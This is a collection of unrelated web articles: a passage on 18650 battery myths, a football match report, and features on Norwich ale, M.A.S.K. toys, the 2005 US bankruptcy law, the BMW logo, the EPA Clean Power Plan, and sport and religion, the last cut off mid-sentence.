“Fuel Gauge” function. Now think about holding your battery and asking “How charged is it?” It’s the same type of answer you expect if you ask “How much fuel is in my car?” That means when you are talking about charge of a battery, what you really want to know is its SOC (state of charge) - not its capacity. To recap: When you want to see something like a fuel-gauge for your battery, you are asking about its charge, and not its capacity. In contrast with the fuel gauge, buckets are a great way to think about battery capacity Capacity The best way to understand capacity is to think of it as a bucket. A bucket in the middle of a sandstorm. Every day you can see how much water is in the bucket, and how much can be refilled. However, every time you open the lid, sand gets in and builds up at the bottom of the bucket. Gradually your capacity decreases as sand increases. The bucket is capacity, and the water is energy. The sand is battery degradation (due to cell oxidation) which is a naturally occurring and irreversible process. Jump to France in the 1780’s - a man named Charles-Augustin de Coulomb invented the SI unit of electric charge - which is now named after him. The coulomb unit is equal to the amount of electricity produced or consumed in exactly one second by one amp. When we are talking about battery capacity, we are talking about its coulometric capacity which is derived from discharging the battery. Coulometric capacity is calculated with the following formula: (Discharge Current in Amps) x (Discharge Time*) *Discharge time is the range between its fully charged SOC to the cut-off voltage. For example: (2 A) x (2 Hours) = 4Ah or 4000mAh (20 A) x (6 Minutes) = 2Ah or 2000mAh The resulting coulometric capacity is expressed in amp hours, or often translated to milliamp hours. That is the equivalent of “I know how much space is in my bucket, if I drink it with a 2mm straw and it takes me 2 hours, I can say I have 4 millimeter hours left in my bucket.” If you take this measurement when your bucket is brand new (no sand, no degradation) it is called rated capacity. If you take the measurement after some use, it is called current or actual capacity. Environmental conditions like temperature and variations in amperage during charge and discharge can significantly alter the useable capacity of a cell. Think of the bucket analogy - if the water is too hot you can’t sip it at full speed. Likewise with brainfreeze on the other end of the spectrum. You can’t measure the bucket well unless the water is at or near its optimal temperature. Furthermore, SOC depends on capacity The SOC reference can be either the current capacity or the rated capacity. Remember current capacity is what the cell or battery can hold, while the rated capacity is what it can hold when it’s brand new, in optimal conditions. Using the rated capacity can be very misleading because of cell degradation over time. Without accounting for the loss of performance from degradation, the fuel meter would always read 100% when charged, even if it could only hold half as much fuel as it could in the beginning of its life. Imagine if your fuel tank slowly shrunk over time, and car manufacturers did not tell you. During high amp continuous discharge or high amp pulses, the cell is used too fast and inefficiencies occur hence the loss of capacity. This is because chemical reactions take a finite time, and more energy can be put in than can be reacted to. The best analogy I have heard to explain this is with the pouring of beer. You have to pour it in slowly to fill it. Pouring it too fast leads to froth and annoyingly little beer. Discharging at high rates removes more power in an exponential way, and reversely, discharging at low rates increases the run-time significantly. This is dealt with by using Peukert’s equation (I n T = C). Overview Charge is like a fuel gauge - it’s easy to see how much you have left. Capacity is the total amount of fuel you can carry. You can measure the capacity for any given SOC (state of charge) but it is only an estimation. Myth #4 - 18650 batteries can be either Primary or Secondary cells Answer: All 18650 batteries are secondary cells. A primary cell is one that is not rechargeable (or can not be easily recharged) after it is discharged. Primary cells are like disposable plates - used once and then discarded. A secondary cell is one that is rechargeable. Note: a rechargeable alkaline battery like a rechargeable AA is considered a rechargeable primary cell rather than a secondary cell, adding to confusion Secondary cells have become more and more popular and have replaced primary cells in many applications. However, in some use-cases like smoke detectors it still makes sense to use primary cells because their self-discharge rate is much lower. Lithium-ion batteries are secondary cells, but they are used as primary cells were used in the past - for example when they direct power in laptops, mobile phones, and electric bikes. Even though li-ion is often used as primary cells have been in the past - liion is still considered a secondary cell. Myth #5 - Impedance and Resistance are interchangeable terms Answer: There is little relationship between the two, and while they both function with the same purpose - the output (in Ohms) is always different. To understand the difference between DC resistance and AC impedance you should understand that electrical loads have both resistive, and reactive phenomenon. So keep these two things in mind: Resistive phenomenon Reactive phenomenon Know these interchangeable terms: DC Approach / load = Internal Resistance AC Approach / signal = Internal Impedance Ohmic resistance (Ro) Measuring internal resistance disregards the reactive elements. This is the inside view of an internal heating element Looking at the internal resistance of a cell or battery from a purely resistive value (ohms) disregards reactive elements. The best analogy I have heard for this is that of a heating element that produces heat by the friction (resistance) of current passing through. The more internal resistance, the more heat is generated. In this scenario there are no reactive components, only one resistive one determining the output. When your voltage drops from use, this is because the battery current is flowing through its internal resistance. The older DC approach The DC approach is dubbed: Internal Resistance The first and most common approach is to load-stress the battery. You apply a certain number of amps for a certain given time (eg. 20 amps for 5 seconds) and measure the resulting drop in voltage. This is like adding friction to the heating element from the previous analogy, and measuring its resulting increase in heat. How difficult would it be to hear someone from across this room? A note should be made regarding signal-to-noise ratio. Early DC tests required high-amperage for this reason. Imagine being at a cocktail party and trying to listen to a conversation across the room. It is only possible to do if the person is screaming. The AC approach The AC approach is dubbed: Internal Impedance A newer, improved approach to measuring resistance came after the DC approach. Using AC power, battery scientists were able to send an AC signal through the battery at a very specific frequency. The frequency here is the key point. If we go back to the cocktail party. Now imagine we are a dog, and the person across the room has a dog-whistle. This is what using a specific AC frequency can do - it can allow us to very accurately discern the signal from the noise with a unique signature. The problem is that this AC ripple will interact with other elements of the battery (inductive reactance from coil, and capacitance reactive from capacitor) which will degrade the signal quality. This is akin to the dog whistle bouncing off the walls and people. Impedance is used by manufacturers who frequently test 18650 cells at an AC of 1 kHz. The newer DC approach There are newer approaches where high amperage is no longer required, and tiny amounts of pulsed current can be applied to accurately discern the signal. This is akin to now being able to clearly hear a butterfly flap its wings across the room at the cocktail party. The capacity and SOC (state of charge) of lithium-ion is not correlated with its internal resistance (measured by the DC approach) Reactions As we can see, the DC approach to measure internal resistance does not measure anything reactive. It is like a heater, you have more friction and you have more heat - there is nothing else. On the other hand,- the AC ripple reacts with coils and capacitors. One utilizes a DC load, the other an AC signal. When measuring an 18650 battery or cell, it’s important to note which approach you are using because the resulting ohm values will be different. A new, fully charged 18650 cell tested with the AC approach (1kHz) may yield between 30 and 60 milliOhms. While with the equivalent DC approach it may yield 100 to 130 milliOhms. Comparing resistance to impedance is not comparing apples to oranges - they are different non-interchangeable terms. Finish And that is the end of these five battery myths. Here is a recap of the myths and their answers: Myth #1 - You have individual 18650 batteries Answer: Technically, you have individual 18650 cells, not batteries Myth #2 - What is better, Li-Po or Li-ion? Answer: You can not compare the two. Myth #3 - When you charge a cell, its capacity increases Answer: When you charge a cell, its charge increases and not its capacity. Myth #4 - 18650 batteries can be either Primary or Secondary cells Answer: All 18650 batteries are secondary cells. Myth #5 - Impedance and Resistance are interchangeable terms Answer: There is little relationship between the two, and while they both function with the same purpose - the output (in Ohms) is always different. -Jamie Vardy scored his first hat-trick since his three goals for Fleetwood against Ebbsfleet on 21 February 2012 Jamie Vardy scored a hat-trick as Leicester City pulled off a stunning victory over an out-of-sorts Manchester City. The Foxes were 2-0 up in five minutes as Vardy ended his 10-game run without a Premier League goal by slotting home, and Andy King curled in moments later. It was 3-0 within 20 minutes as Vardy added another after skipping past visiting keeper Claudio Bravo, and he completed his hat-trick by intercepting a misplaced John Stones pass and finishing from a narrow angle. Aleksandar Kolarov, with a free-kick, and Nolito scored late consolation goals for the away side. They have now lost back-to-back league games for the first time since Pep Guardiola took over in the summer, and are four points adrift of leaders Arsenal. For defending champions Leicester, victory ended a five-game run without a league win and moved them up to 14th. Man City pay for chaotic defending Guardiola said this week he wanted a new rule to allow teams to use up to six substitutes - and after five minutes he may have hoped his wish was a reality. Manchester City have kept just two Premier League clean sheets this season, and Guardiola reshuffled his formation to start with a back three of Pablo Zabaleta, John Stones and Bacary Sagna. That strategy was swiftly scrapped, though, when his side fell 2-0 down after just 255 seconds - Kolarov was hauled out of midfield and into a hastily created back four. Only Islam Slimani (19) averaged most of his playing time in the opposition half for Leicester - eight Manchester City outfield players spent most of the game in Leicester territory The visitors, looking marginally better for the change, still managed to get caught on the break for Leicester's third and frequently put themselves under pressure by trying to play out from the back - Stones' misplaced backpass for Vardy's third the costliest example. Their fragility could well be a result of their lack of a consistent starting XI, with Guardiola never having kept the same line-up for two consecutive games during his time at Etihad Stadium. Suspensions for Sergio Aguero, Fernandinho and Nicolas Otamendi had forced the Spaniard to make changes here, and his side were devoid of cohesion. For all their possession, they did not have their first shot on target until Kolarov scored a well-placed free-kick in the 82nd minute, and only salvaged further respectability when Nolito tapped in the Serb's low cross late on. Foxes show championship charm again Leicester, who were a point above the relegation zone when they kicked off, were superb and, for perhaps the first time this season, showed all the hallmarks of last term's incredible title-winning campaign. That most unlikely of championships was built on resolute defending, lightning-quick counter-attacking, Vardy's goals and Riyad Mahrez's magic - all of which were on show. Mahrez pulled off a superb first touch to direct a high ball to Islam Slimani, who in turn slid in Vardy for the opener, and the Algerian repeated the feat when he redirected a long ball into the path of Vardy for Leicester's third. Vardy, who scored 24 Premier League goals last season, had endured a 741-minute goal drought in the league, but took his tally for this term to five when he capitalised on Stones' error and somehow threaded a finish from the tightest of angles. Man of the match - Jamie Vardy A first hat-trick for Leicester in a performance reminiscent of his best displays last season - the confidence poured back into him after his first goal 'Welcome back Jamie' - what they said Media playback is not supported on this device Leicester City 4-2 Manchester City: Ranieri praises "true" Leicester Leicester boss Claudio Ranieri told BBC Sport: "It was the true Leicester, maybe because we have played so badly in our last few matches, but today we were so strong. "We played smart, slowed down the tempo. "I am very pleased for Jamie. When he finished, I said 'welcome back'." Former Leicester defender Matt Elliott on BBC Radio Leicester: "There was a spark and zip about Leicester's play from the off. You could sense it, a freshness in the air. "That's their best performance by some distance this season and that might just reignite their season, certainly in domestic terms." Manchester City boss Pep Guardiola told BBC Sport: "Leicester won the second balls and scored fantastic goals. Media playback is not supported on this device Leicester 4-2 Manchester City: Guardiola will 'look inside' himself after defeat "Football is a game with mistakes, especially today. I would never complain to my players and I will look inside myself and analyse the reason why we have problems with the second balls when they arrive. "Our game is not bad, but in the box we have a lot of problems." Match of the Day pundit Danny Murphy: "That's as good as I've seen Leicester this season, it was like the Leicester of last season. But City didn't half help them. "Kolarov was supposed to be playing as a third centre-half but he played so far forward, he left Stones isolated. Zabaleta was playing in a weird in-between position and it didn't look like he knew what he was doing. "Kevin de Bruyne appeared to be at left-wing-back. The communication and lack of line was pretty bad. Kolarov was playing his own game going forward so often. They gave Leicester so many opportunities to attack them. It could have been more. "Fifty changes, they've made this season. It's nice to build relationships and have some familiarity. You can't keep changing players." Defensive numbers make bad reading for Guardiola Guardiola has seen his side concede three or more goals in back-to-back league games for the first time as a manager. A Guardiola side conceded four goals in a league for only the third time (Atletico Madrid 4-3 Barcelona in 2009, Wolfsburg 4-1 Bayern Munich in 2015). Only Crystal Palace, Hull and Sunderland (one) have kept fewer clean sheets than Manchester City in the Premier League this season. Claudio Ranieri has won eight of his nine Premier League matches as a manager against Manchester City, drawing the other. Manchester City conceded twice in the opening five minutes of a Premier League game for the first time since October 2006 against Wigan. What's next? On Monday, both sides find out who they will face in the last 16 of the Champions League. Manchester City will be drawn against one of Atletico Madrid, Borussia Dortmund, Juventus, Monaco or Napoli. Leicester City will meet Bayer Leverkusen, Bayern Munich, Benfica, Paris St-Germain, Real Madrid or Sevilla. On Tuesday, Leicester travel to Bournemouth (19:45 GMT). Manchester City host Watford the following day (20:00). -The English city of Norwich is an undeniably small place, even by European standards. With a population of just 210,000 (including its suburbs), it’s not surprising that Norwich is largely unknown in global terms. But for lovers of beer and ale, there’s no better place to experience England’s rich drinking heritage. “Brewing has taken place in Norwich since before 1249. The brewing of beer was a way to purify water, which was often unsafe to drink,” says Philip Cutter, Landlord at The Murderers, a pub that has operated in the city since 1696. “During the construction of the Norwich Anglican Cathedral, Franciscan monks brewed beer for the workmen at The Adam and Eve Pub, which still trades in the Cathedral grounds today.” Both The Murderers and The Adam and Eve are what’s known as “real ale” pubs, meaning they stock high-quality, natural ales that have gone through secondary fermentation – a process that involves the ale being left to mature in the cask it’s served from. The trend for this method of traditional production took off around 40 years ago, and has been growing ever since. “It’s the process of secondary fermentation which makes real ale unique and develops the wonderful tastes and aromas which processed beers can never provide,” says Rob Whitmore, Norwich and Norfolk Branch Secretary of the Campaign for Real Ale (CAMRA), a non-profit organization dedicated to preserving and promoting traditional “real” ales. CAMRA began its work in the 1970s as a response to a rut in the UK beer market. Concerned that the availability of traditional, flavorful English ales was becoming a thing of the past, four ale lovers from the north-west of England came together to campaign against the domination of the industry by big companies producing large quantities of low quality ale. Today, CAMRA is known as one of the most successful consumer campaigns in European history. The organization itself now boasts 200 branches in the UK and more than 160,000 members from across the world. Fur & Feather Inn is recognized in CAMRA's Good Beer Guide. In Norwich, the city once said to have a pub for every day of the year, real ale has become a significant part of the urban architecture; a defining point in where and what you choose to drink. “We’ve developed a strong bank of local brewers who have helped Norwich pubs not only survive, but become better and stronger,” Whitmore explains. “If you did a tour of all the pubs in Norwich on any given day, it would not be uncommon to see over 250 different real ales for sale. This is one of the biggest, if not the biggest, ratio per head in the country.” The pubs themselves view real ale as a crucial part of their identity, and one that offers benefits to their business as much as it does to the city’s reputation as a standout destination for beer. “Being recognized as a ‘real ale’ pub is enormously important to us, and certainly brings in many customers locally, and attracts out of town visitors,” Cutter says. “Being part of a successful and vibrant real ale city makes us extremely fortunate – but being recognized as an award winning real ale pub put our establishment in the forefront, ahead of many others.” Dawn Leeder is chair of the City of Ale Festival, a 10-day celebration of Norwich’s ale and pub scene every May, and she has seen enormous growth and renewed interest in the real ale scene over recent years. “The real ale renaissance of the 21st century has allowed many microbreweries to open in Norwich and Norfolk. Over 40 breweries took part in last year’s festival and several more have opened since then,” she says. “Norfolk also produces some of the finest malting barley in the world – the maritime microclimate of our county’s north coast gives rise to cooling harsh frosts which slow the ripening of the grain, intensifying the flavors to make very fine beer indeed.” It’s this stellar combination of real ale production and availability that led Tim Hampson, Chairman of the British Guild of Beer Writers, to declare that Norwich’s status as a city of ale is “no longer a question, but a fact” earlier this year. A lot may have changed since the monks started brewing here in the 13th century, but Norwich is definitely still the heartland of England’s brewing culture. -Toys M.A.S.K. Toys M.A.S.K. toys accompanied the cartoon that was first released in 1985 and went on to spawn toys, video games and comics. There were four series of toys released between 1985 and 1988 in the USA, however, in Europe a fifth series was released in 1986 which contained smaller toys that came in blister packs. As with most toy-lines in the 1980’s the toys were split between the good guys M.A.S.K. (Mobile Armoured Strike Kommand) and the bad guys V.E.N.O.M. (Viscous Evil Network of Mayhem), however, far more M.A.S.K. toys were released over the four series. M.A.S.K. Toys Series 1 (1985) The first wave of toys was released in 1985 and featured all the major characters and vehicles from the first season of the TV show. M.A.S.K. Boulder Hill Condor Firecracker Gator Rhino T-Bob Thunderhawk Boulder Hill – Service Station play-set, home of M.A.S.K. – Service Station play-set, home of M.A.S.K. Brad Turner and Condor – A green motorcycle than can change into a helicopter. – A green motorcycle than can change into a helicopter. Hondo MacLean and Firecracker – An orange pickup which elevates into a mobile weapon platform. – An orange pickup which elevates into a mobile weapon platform. Dusty Hayes and Gator – An orange Jeep CJ7 with releasable boat. – An orange Jeep CJ7 with releasable boat. Matt Tracker, Bruce Sato and Rhino – A Kenworth semi tractor that converts into a mobile defence platform and command centre. – A Kenworth semi tractor that converts into a mobile defence platform and command centre. Matt Tracker and Thunderhawk – A Chevrolet Camaro which transforms into a jet airplane. – A Chevrolet Camaro which transforms into a jet airplane. Scott Tracker – Comes with his robot T-Bob V.E.N.O.M. Jackhammer Piranha Switchblade Cliff Dagger and Jackhammer – A Ford Bronco which turns into an assault vehicle. – A Ford Bronco which turns into an assault vehicle. Sly Rax and Piranha – Motorcycle with releasable submarine side-car. – Motorcycle with releasable submarine side-car. Miles Mayhem and Switchblade – A helicopter which can transform into a jet airplane. Series 2 (1986) The second series of toys tied in with the second season of the show apart from Hurricane, which appeared at the end of season one under the name “Nightstalker”. M.A.S.K. Firefly Hurricane Raven Slingshot Volcano Julio Lopez and Firefly – An orange dune buggy that turns into a jet. – An orange dune buggy that turns into a jet. Hondo MacLean and Hurricane – A 1957 Chevy which turns into a six-wheeled tank. – A 1957 Chevy which turns into a six-wheeled tank. Calhoun Burns and Raven – A black Chevrolet Corvette which turns into a seaplane. – A black Chevrolet Corvette which turns into a seaplane. Ace Riker and Slingshot – A van which transforms into a jet and launch ramp. – A van which transforms into a jet and launch ramp. Matt Tracker, Jacques LaFleur and Volcano – A blue monster truck which converts into an attack station. V.E.N.O.M. Outlaw Stinger Vampire Miles Mayhem, Nash Gorey and Outlaw – A tanker truck which transforms into an assault station and mobile command centre. – A tanker truck which transforms into an assault station and mobile command centre. Bruno Sheppard and Stinger – An orange Pontiac GTO that turns into a tank. – An orange Pontiac GTO that turns into a tank. Floyd Malloy and Vampire – A red motorbike that turns into a jet. Series 3 (1987) “Racing Series” The third wave of toys was the largest release and were all centred around a racing theme, hence the name “Racing Series”. M.A.S.K. Billboard Blast Bulldog Bullet Goliath Meteor Razorback The Collector Wildcat Dusty Hayes and Billboard Blast – A billboard which opens up to reveal a gun emplacement. – A billboard which opens up to reveal a gun emplacement. Boris Bushkin and Bulldog – A white semi tractor truck which turns into a half-track tank. – A white semi tractor truck which turns into a half-track tank. Ali Bombay and Bullet – A blue and white racing motorcycle which turns into a hovercraft. – A blue and white racing motorcycle which turns into a hovercraft. Matt Trakker, Nevada Rushmore and Goliath – A purple race car that becomes a jet. – A purple race car that becomes a jet. Ace Riker and Meteor – A white jet that splits into an aerial fighter and a missile launching tank. – A white jet that splits into an aerial fighter and a missile launching tank. Brad Turner and Razorback – A red and white Ford Thunderbird which turns into an elevated platform. – A red and white Ford Thunderbird which turns into an elevated platform. Alex Sector and The Collector – A toll booth that transforms into an attack installation. – A toll booth that transforms into an attack installation. Buddy Hawks and Wildcat – A red truck which turns into a tall tank. V.E.N.O.M Buzzard Iguana Manta Pit Stop Catapult Miles Mayehm, Maximum Mayhem and Buzzard – A Formula 1 race car which splits into a drone pilot-controlled jet and two smaller assault motorcycles. – A Formula 1 race car which splits into a drone pilot-controlled jet and two smaller assault motorcycles. Lester Sludge and Iguana – An off-road vehicle which turns into a mobile buzz-saw. – An off-road vehicle which turns into a mobile buzz-saw. Vanessa Warfield and Manta – A Nissan 300 ZX which turns into a plane. – A Nissan 300 ZX which turns into a plane. Sly Rax and Pitstop Catapult – An armoured gasoline stand. M.A.S.K. Laser Command (1987) Hornet Ratfang Hornet – A M.A.S.K. packing crate that opens to reveal an attack vehicle. Ratfang – A V.E.N.O.M. truck with limited transforming capabilities, its doors, wheels and hood burst off when triggered by infra-red beams from Hornet. Series 4 (1987-1988) “Split Seconds” The fourth and final series of M.A.S.K toys was called “Split Seconds” as each vehicle could split into two separate parts, most of theses toys never appeared in the cartoon. M.A.S.K. The Collector Wildcat Afterburner Detonator Dynamo Fireforce Skybolt Stiletto Dusty Hayes and Afterburner – A dragster that splits into a small jet plane and an elevated turret. – A dragster that splits into a small jet plane and an elevated turret. Jacques LaFleur and Detonator – A VW Beetle that separates into an attack boat and an assault quad bike. – A VW Beetle that separates into an attack boat and an assault quad bike. Bruce Sato and Dynamo – A dune buggy that splits into a helicopter and assault car. – A dune buggy that splits into a helicopter and assault car. Julio Lopez and Fireforce – A Pontiac Fiero that splits into a jet plane and an assault quad bike. – A Pontiac Fiero that splits into a jet plane and an assault quad bike. Matt Tracker and Skybolt – A jet fighter plane that splits into an assault rocket car and an aerial attack craft. – A jet fighter plane that splits into an assault rocket car and an aerial attack craft. Gloria Baker and Stiletto – A Lamborghini Countach that split into a helicopter and assault plane. V.E.N.O.M Barracuda Vandal Wolfbeast Bruno Sheppard and Barracuda – A motorbike that turns into a rocket glider and armed cycle. – A motorbike that turns into a rocket glider and armed cycle. Floyd Malloy and Vandal – A front-end loader which splits into an aircraft and tank. – A front-end loader which splits into an aircraft and tank. Miles Mayhem and Wolfbeast – A Corvette Stingray which splits into a tank and jet plane. Check out this collection of M.A.S.K. commercials from the 1980’s below! -What you should know about a new law that will make it tougher for consumers to clear their debts. More on bankruptcy • • • • QUICK VOTE Do you think people abuse the bankruptcy laws? Yes No View results Video More video President Bush talks about what the new bankruptcy law will require. Play video NEW YORK (CNN/Money) � President Bush on Wednesday signed into law a bankruptcy reform bill that will make it harder for individuals to clear their debts through bankruptcy. So, experts say, if you were thinking about filing for bankruptcy, you might think twice -- or act twice as quickly, since major provisions of the law will go into effect six months from the day the law is signed. Individuals filing for bankruptcy usually do so either under Chapter 7 or under Chapter 13. In a Chapter 7 bankruptcy, your assets (minus those exempted by your state) are liquidated and given to creditors, and many of your remaining debts are cancelled, giving you what's known as a "fresh start." In 2004, over 1.1 million people filed for Chapter 7, accounting for roughly 72 percent of non-business bankruptcies. Since many Chapter 7 filers don't have assets that qualify for liquidation, credit card companies and other creditors sometimes get nothing. In a Chapter 13 bankruptcy, you're put on a repayment plan of up to five years. Any debts not addressed by the repayment plan don't have to be paid. Last year, there were 445,574 Chapter 13 filings. Under the new law, fewer people will be allowed to file under Chapter 7; more will be forced to file under Chapter 13. Lawmakers who favor the legislation argue that it will prevent consumers from abusing the bankruptcy laws � using them to clear debts that they can afford to pay. But consumer advocates argue that the new law is a gift to creditors � particularly the credit card industry, which may receive $1 billion or more from repayment plans due to the expected increase in Chapter 13 filings, according to Robert McKinley, CEO of CardWeb.com. "The bill simply doesn't balance responsibility between families in debt trouble and the creditors whose practices have contributed to the rise in bankruptcies," said Travis Plunkett of the Consumer Federation of America in a written statement. Key changes Here are some of the major changes for consumers under the new law: A qualifying test: Currently, it's up to the court to determine if your case qualifies for Chapter 7 bankruptcy. Under the new law, your income will be subject to a two-part means test. First, it will be subject to a formula that exempts certain expenses (rent, food, etc.) to determine whether you can afford to pay 25 percent of your "nonpriority unsecured debt" such as your credit card bills. Second, your income would be compared to your state's median income. You won't be allowed to file for Chapter 7 if your income is above your state's median and you can afford to pay 25 percent of your unsecured debt, said California-based bankruptcy attorney Stephen Elias, who is coauthor of the book "How to File for Chapter 7 Bankruptcy." But, he said, you may be allowed to file for Chapter 13. If your income is below the state's median but you can pay 25 percent of your unsecured debt, you may be able to file Chapter 7, but the court can still require you to file Chapter 13 instead if it believes that you would be abusing the system by filing for Chapter 7, Elias said. Under current law, the court has great latitude in deciding whether debtors may file for bankruptcy in consideration of their personal circumstances. Under the new law, there will be few if any exceptions made to the means test, no matter how sympathetic your case, said Leon Bayer, a bankruptcy attorney in Los Angeles. Determining what you can afford to pay: Currently, if you file for Chapter 13 today, the court determines what you can afford to pay based on what you and the court deem to be reasonable and necessary expenses. Under the new law, the court will apply living standards derived by the IRS to determine what is reasonable to pay for rent, food and other expenses to figure out how much you have available to pay your debts. The IRS regulations are more stringent, and to contest them means asking for a hearing from a judge, which can mean more time and expense, Elias said. Tougher homestead exemptions: Currently, if you declare bankruptcy, the state where you file may allow you to protect from creditors some or all of your home equity. In Florida, for instance, your home may be entirely exempt, even if you bought it soon before filing. In Nevada, you may exempt up to $200,000. The new law, however, places more stringent restrictions on the homestead exemption. For instance, if filers haven't lived in a state for at least two years, they may only take the state exemption of the state where they lived for the majority of the time for the 180 days before the two-year period. Filers may only exempt up to $125,000, regardless of a state's exemption allowance, if their home was acquired less than 40 months before filing or if the filer has violated securities laws or been found guilty of certain criminal conduct. Unlike most of the other provisions, the new homestead exemption rules go into effect immediately. Lawyer liability: Under the new law, if information about a client's case is found to be inaccurate, the bankruptcy attorney may be subject to various fees and fines. What that means for consumers is it will be harder to find a bankruptcy attorney willing to file because of the liability and the additional work required to verify a client's information, Elias said. Those who are willing are likely to charge more. Credit counseling and money management: Under provisions of the new law you must meet with a credit counselor in the six months prior to applying for bankruptcy. And before debts are discharged, you must attend money management classes at your expense. What should you do? For those people who have considered bankruptcy, the time to act may be now, consumer advocates say. Talk to a good bankruptcy lawyer, Plunkett said. If together you decide bankruptcy is the right call, you might consider speeding up your plans to file since most of the main provisions of the new law won't go into effect until six months from now. Typically, it can take a couple of weeks to file for bankruptcy, said Bayer. See Money magazine's 9-step program for tackling your debt problem. Money 101: Controlling debt Debt reduction planner -The comments section might be set ablaze but, believe it or not, the Daily News Autos is here to tell you that the iconic BMW logo does not represent a stylized airplane propeller. That’s right BMW fans, everything you thought you knew about the blue and white logo on your beloved M3 or hybrid-powered i8 is wrong. FOLLOW DAILY NEWS AUTOS ON FACEBOOK. ‘LIKE’ US HERE. Don’t feel bad, the idea that the famous BMW Roundel has roots in aviation stretches back almost to the very founding of Bayerische Motoren Werke AG, which happened way back on March 7, 1916. Car logo origins: From the Ferrari horse to the Lamborghini bull And yes, the firm’s first technical creations happened to be aircraft engines. So wait a minute, how the heck can we be so smug about the BMW logo not having something to do with airplanes? You can blame the world of marketing and advertising for this Bavarian-themed level of miscommunication. The blue and white logo is borrowed from the colors in the Bavarian flag, nothing more. Go ahead and Google search “Bavarian flag,” we’ll wait while you do. Here is the advertisement that ignited years of controversy surrounding the origins of BMW's iconic logo. (BMW AG) While it’s true that BMW got its start in aircraft engines, the close of World War I and the Treaty of Versailles forbade the company from continuing down its original path. After the conclusion of WWI, BMW moved into motorcycle manufacturing. Eventually, the company was also allowed to restart the aviation side of its business. It was an advertisement used in the late-1920s, in which the BMW logo cleverly represented the spinning propellers of an airplane, that we encounter the foundation of the famous Roundel/propeller controversy. Yes, the logo represented plane propellers - but only in the ad, not the logo in general. The advertisement must have been popular, because for decades since, most people assume design and colors of the BMW Roundel are firmly rooted in aviation. BMW Car Club of America E30 M3 showcase Around the same time this ad apperared, so did the first BMW motorcar. The thin-tired and dainty-looking BMW Dixi 3/15 PS was powered by a small 4-cylinder engine that produced a grand total of 15-horsepower. Small, simple, and quite cheap; the little Dixi helped BMW survive the Great Depression, which arrived only months after the car first went on sale. Somewhat ironically, this first BMW automobile owed nearly all of its design to the Austin 7, a huge sales hit that was originally designed and engineered entirely...in Britain! LEARN MORE ABOUT BMW HERE. Sign up for BREAKING NEWS Emails privacy policy Thanks for subscribing! Did you find this article helpful? If so, please share it using the "Join the Conversation" buttons below, and thank you for visiting Daily News Autos. -Turn to the nation's most objective and informative daily environmental news resource to learn how the United States and key players around the world are responding to the environmental... By Rachel Leven Sept. 10 — The Clean Power Plan presents a unique opportunity to shift how states and companies think about energy, but it won't be a “silver bullet” for all environmental justice issues related to power plants, an Environmental Protection Agency official said Sept. 10. The EPA's landmark rule is intended to reduce carbon dioxide emissions, meaning that other pollutant emissions aren't required to be reduced under the rule, Kevin Culligan, an EPA associate division director, told justice advocates. But as states and companies think about how to comply with the rule, it provides them a “real opportunity” to look at their actions in “a larger energy-planning kind of way,” alongside other environmental mandates, he said during the National Environmental Justice Advisory Council's meeting in Arlington, Va. “There isn't a single silver bullet” for resolving environmental justice concerns, Culligan said, urging justice advocates to harness all parts of the Clean Air Act and other laws to resolve these overburdened communities' other pollutant concerns. “The real opportunity here is not that the Clean Power Plan itself can solve all of the concerns about all of the power plants … but in many ways, [the opportunity is] that it changed the dialogue” to think holistically, Culligan said. The EPA released on Aug. 3 its final Clean Power Plan rule (RIN 2060-AR33), which sets state-specific power sector carbon dioxide emissions rates or alternatively mass-based targets. States must develop their own plans to meet these goals, which are phased in between 2022 and 2030. In order to receive an extension to develop and submit those plans, the states must demonstrate they have addressed overburdened communities as part of the planning process. Benefits for EJ Communities Culligan made his remarks following—and in response to—comments from several environmental justice advocates on the final rule, some of whom called for the EPA to do more to protect overburdened communities. While council member Vernice Miller-Travis praised both the agency and justice advocates for their involvement in developing a rule that culminated in a strong environmental justice focus, council member Nicky Sheats and others said that the rule didn't ensure that overburdened communities received the benefits. Justice advocates have expressed concern that actions such as carbon trading could result in increased activity at certain power plants, resulting in higher emissions for those communities, and the EPA moved to address those issues in its final rule. “The rule does a good job of saying ‘we don’t want disproportionate impacts in overburdened communities,' ” Sheats said. “But what we really want is [an emissions] reduction in [environmental justice] communities.” Several members of the council called for the EPA to encourage states to ensure that these communities saw reduced emissions locally, to establish clear investment and outcome metrics for state plans and to ensure that communities have the knowledge to engage with industry and states effectively on state plans as they are developed. To contact the reporter on this story: Rachel Leven in Washington at rleven@bna.com To contact the editor responsible for this story: Larry Pearl at lpearl@bna.com -“When Europeans entered North America," writes Arthur Remillard of the Saint Francis University, “there were approximately 500 independent Indian cultures, each with its own unique spiritual world view." By Indians, Remillard here means the native Americans. The games that the natives played “also carried an air of sacredness". But the Europeans saw the games or “bodies in motion" as “an affront to Christianity, and a barrier to conversion". These bodies in motion were taken as evidence of “superstition"—an indication that Western Christianity’s “civilizing" role had yet to begin. The complex relationship that sport and religion have had over the centuries continues to this day. Last week, the International Basketball Federation or Fiba, the world governing body for basketball, ratified a new rule allowing players to wear headgear. The decision has been welcomed by many Islamic and Sikh groups as the new rule will allow players to wear hijab and turbans during the game. The demand to change the rules in various sports to accommodate different cultures has been growing for some years now. An impetus to such demands was provided by Ibtihaj Muhammad, the US fencer who became the first American athlete in Olympic history to wear a hijab in the Rio games of 2016. The media also splashed images of female beach volleyball players from Egypt—some of them in hijab and all of them in full sleeves and long pants. This was in sharp contrast to their opponents, who were attired in the bikini-style apparel one would normally associate with beach volleyball. Following these developments, Nike, one of the top global sportswear brands, has announced that it will be coming out with a “Pro Hijab" for Muslim athletes. Sports should indeed embrace more diversity. If an innocuous change in a rule or two will enable competitors from culturally different parts of the world to exhibit their skills, then those changes should be made. But changing rules cannot solve all the problems. Take the case of Heena Sidhu, the Indian shooter, for instance. She decided to pull out of the Asian Airgun Shooting Championship in Iran last year because of the compulsory hijab rule for women participants. The matter, as it can be seen, boils down to choice. And if some choice has to be taken away, which of the two—sport or religion—will be the final arbiter? Sports is the ultimate celebration of merit over identity. The story of Jesse Owens is the best example: The African-American athlete single-handedly dismantled Nazi propaganda of Aryan superiority in the 1936 Berlin Olympics. When two players or teams battle it out against each other, the rules create the level playing field required for a black individual to contest against a white, or the underprivileged to challenge the wealthy. In other words, sport, unlike politics, is a great equalizer. Sometimes in the quest for enforcing this equality, the sport can end up stifling diversity. Therefore, periodic review of rules is a good practice. But religion can be far more stifling—and the process of any change there can be far more cumbersome and protracted. While interpreting religious texts is a tricky business, more often than not the ambiguities of the text are exploited to cover for patriarchy and parochial politics. What else would explain the Taliban giving a go-ahead to men’s cricket in Afghanistan but not to women’s? Even the 